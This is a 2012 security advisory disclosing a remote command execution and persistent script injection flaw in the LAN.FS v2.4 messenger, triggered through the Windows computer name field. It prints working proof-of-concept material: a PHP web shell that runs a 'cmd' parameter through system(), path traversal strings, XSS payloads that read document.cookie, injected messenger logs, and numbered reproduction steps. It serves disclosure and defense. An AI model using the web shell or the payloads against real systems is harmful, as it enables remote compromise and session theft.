Title:
======
LAN.FS Messenger v2.4 - Command Execution Vulnerability


Date:
=====
2012-11-14


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=760


VL-ID:
=====
760


Common Vulnerability Scoring System:
====================================
8.2


Introduction:
=============
Lan.FS is a very quick, small and compact freeware networktool (for non-commercial use only) for
Windows 2000/XP/2003/Vista & Windows 7. It is easy to handle for beginners and provides various
functions for experts, too. Some features are:

    Messenger with animated emoticons
    Filetransfer service with statusdisplay
    Remote Desktop functions to telecommand other computers in your network
    Remote Shell function for access to the systemprompt of other computers in your network.
    Access to the whole filesystem of other computers
    Windows commands (reboot, shutdown, user switch, run) on other computers

These functions are provided in your Local Area Network. Innovative aspects concerning networkprograms are:

    Lan.FS is ready for operation directly after finishing installation.
    You do not need specialised knowledge about networks and networkadministration
    Lan.FS does not feature needless functions: You decide what to do.
    Lan.FS works Windows-Workinggroups independent
    Lan.FS works in WLAN networks (even if they are not absolutely stable)
    Lan.FS provides a substantial support and trouble shooting
    Lan.FS is Vista capable

(Copy of the Vendor Homepage: http://www.lan-fs.de/ )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a command execution vulnerability in the official LAN.FS v2.4 Messenger Software.


Report-Timeline:
================
2012-11-12:	Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
A command execution vulnerability is detected in the official LAN.FS v2.4 Messenger Software. The vulnerability allows an remote attacker
without user inter action to execute own system specific codes to compromise the connected client system in the lan. The command execution
vulnerability is located in the Netzwerkeinstellungen - Administration (Computer editieren, add & co.) > Computersettings (Computereinstellungen)
module with the bound vulnerability Computername software input field. Remote attackers can change the own computername to execute malicious system
commands or script code attacks against the connected client via Messenger Service (Nachrichtendienst). The windows path system commands/request or
the malicious injected script code will be directly executed out of the Nachrichtendienst web context. Successful exploitation of the vulnerability
results in system compromise via command injection/execution, persistent script code injections, persistent software context manipulation, external
malware loads or malicious external redirects. Exploitation of the vulnerability requires a connected conversation but no direct user inter action.
The commands or script code will be executed when the message is processing to arrive.

Vulnerable Software Section(s):
					[+] Local Area Network - Computer Details

Vulnerable Software Module(s):
					[+] Computtersettings

Vulnerable Software Parameter(s):
					[+] Computername

Affected Software Module(s):
					[+] Nachrichtendienst (Messenger Service)


Proof of Concept:
=================
The software validation vulnerability can be exploited by remote attacker without required user inter action or application user account.
For demonstration or reproduce ...


PoC: Command Execution or Injection (Path, Files & CMD)
%20../'+C:\ProgramData\Lan.FS\
%20../'+C:\ProgramData\Lan.FS\Profile\
%20../'+C:\Program Files (x86)\Lan.FS

<HTML><BODY>
<FORM METHOD="GET" NAME="Message" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<?
if($_GET['cmd']) {
system($_GET['cmd']);
}
?>
</pre>
</BODY></HTML>


Review: Command Execution - Messenger (Windows7) Logs
<html><body style="background-image:url(%20../'+C:\ProgramData\Lan.FS\Profile\);
<html><body style="background-image:url(%20../'+C:\ProgramData\Lan.FS\Profile\);
<html><body style="background-image:url(%20../'+C:\Program Files (x86)\Lan.FS);



PoC: Script Code Inject
>“<iframe src=http://vuln-lab.com>>
"><iframe src=vuln-lab.com onload=alert("VL") <>
>"<script>alert(document.cookie)</script><div style="1


Review: Script Code Inject - Messenger (Windows7) Logs

<html><body style="background-image:url(C:\ProgramData\Lan.FS\Profile\Emoticons\background.bmp);background-repeat:no-repeat;
background-attachment:fixed;  background-position:bottom right;"></body></html><div style="font-family: Verdana; font-size: 10px;
color: #0000ff"><b>>“<[PERSISTENT INJECTED SCRIPT CODE AS HOSTNAME VIA SYSTEMSETTINGS!]> (20:35:38):</b></div><div style="font-family: Verdana;
font-size: 10px; color: #000000">hi<br>
<br></div><div style="font-family: Verdana; font-size: 10px;
color: #ff0000"><b>>“<[PERSISTENT INJECTED SCRIPT CODE AS HOSTNAME VIA SYSTEMSETTINGS!]> (20:35:46):</b></div><div style="font-family:
Verdana; font-size: 10px; color: #000000">hi<br>
<br></div><div style="font-family:
Verdana; font-size: 10px; color: #0000ff"><b>>"<[PERSISTENT INJECTED SCRIPT CODE AS HOSTNAME VIA SYSTEMSETTINGS!]><div style="1
>"<[PERSISTENT INJECTED SCRIPT CODE AS HOSTNAME VIA SYSTEMSETTINGS!])</script>
<div style="1 (20:36:27):</b></div><div style="font-family: Verdana; font-size: 10px; color: #000000">hi<br>
<br></div><div style="font-family:
Verdana; font-size: 10px; color: #ff0000"><b>>"<script>alert(document.cookie)</script><div style="1 >"<script>alert(document.cookie)</script>
<div style="1 (20:36:29):</b></div><div style="font-family: Verdana; font-size: 10px; color: #000000">hi<br>
<br></div><div style="font-family:
Verdana; font-size: 10px; color: #0000ff"><b>>"<script>alert(document.cookie)</script><div style="1 >"<script>alert(document.cookie)</script>
<div style="1 (20:36:33):</b></div><div style="font-family: Verdana; font-size: 10px; color: #000000">>"<script>alert(document.cookie)</script>
<div style="1<br></div><div style="font-family: Verdana; font-size: 10px; color: #ff0000"><b>>"<script>alert(document.cookie)
</script><div style="1 >"<script>alert(document.cookie)</script><div style="1 (20:36:34):</b></div><div style="font-family: Verdana; font-size:
10px; color: #000000">>"<script>alert(document.cookie)</script><div style="1<br></div><div style="font-family: Verdana;
font-size: 10px; color: #0000ff"><b>>"<script>alert(document.cookie)</script><div style="1 >"<script>alert(document.cookie)</script><div style="1
(20:36:41):</b></div><div style="font-family: Verdana; font-size: 10px; color: #000000">yea<br></div><div style="font-family: Verdana; font-size:
10px; color: #ff0000"><b>>"<script>alert(document.cookie)</script><div style="1 >"<script>alert(document.cookie)</script>
<div style="1 (20:36:42):</b></div><div style="font-family: Verdana; font-size: 10px; color: #000000">yea<br></div><div style="font-family:
Verdana; font-size: 10px; color: #0000ff"><b>>"<script>alert(document.cookie)</script><div style="1 >"<script>alert(document.cookie)</script>
<div style="1
(20:36:49):</b></div><div style="font-family: Verdana; font-size: 10px; color: #000000">tha boss :D<br></div>
<div style="font-family: Verdana; font-size: 10px; color: #ff0000"><b>>"<script>alert(document.cookie)</script><div style="1
 >"<script>alert(document.cookie)</script><div style="1 (20:36:50):</b></div><div style="font-family: Verdana; font-size: 10px;
color: #000000">tha boss :D<br></div>


Manually reproduce ...
1. Install the Software LAN.FS 2.4.x and start LAN.FS 2.4.x
2. First we go to Systemsettings in our windows7 system and change our computername/hostname to malicious system path command or malicious script code. Save!
3. Change the hostname in Netzwerkeinstellungen> Administration> Computersettings to the own values with the system path command or script code (<2.). Save!
4. Update Settings & connect the Nachrichtendient to your target system
5. Send a random message to the victim via lan.fs messenger
6. The vulnerable hostname in the message header can execute local file requests, execute files and path commands or execute persistent malicious script codes
7. The command or script code will be executed when the messager is processing to display the arrived message of the attacker. No user inter action required!


Solution:
=========
The vulnerability can be patched by parsing the hostname (computername) input field.
To parse also the hostname web context in the messenger software listing.


Risk:
=====
The security risk of the remote command execution vulnerability is estimated as high(+).


Credits:
========
Vulnerability Laboratory [Research Team]  - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)


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===========
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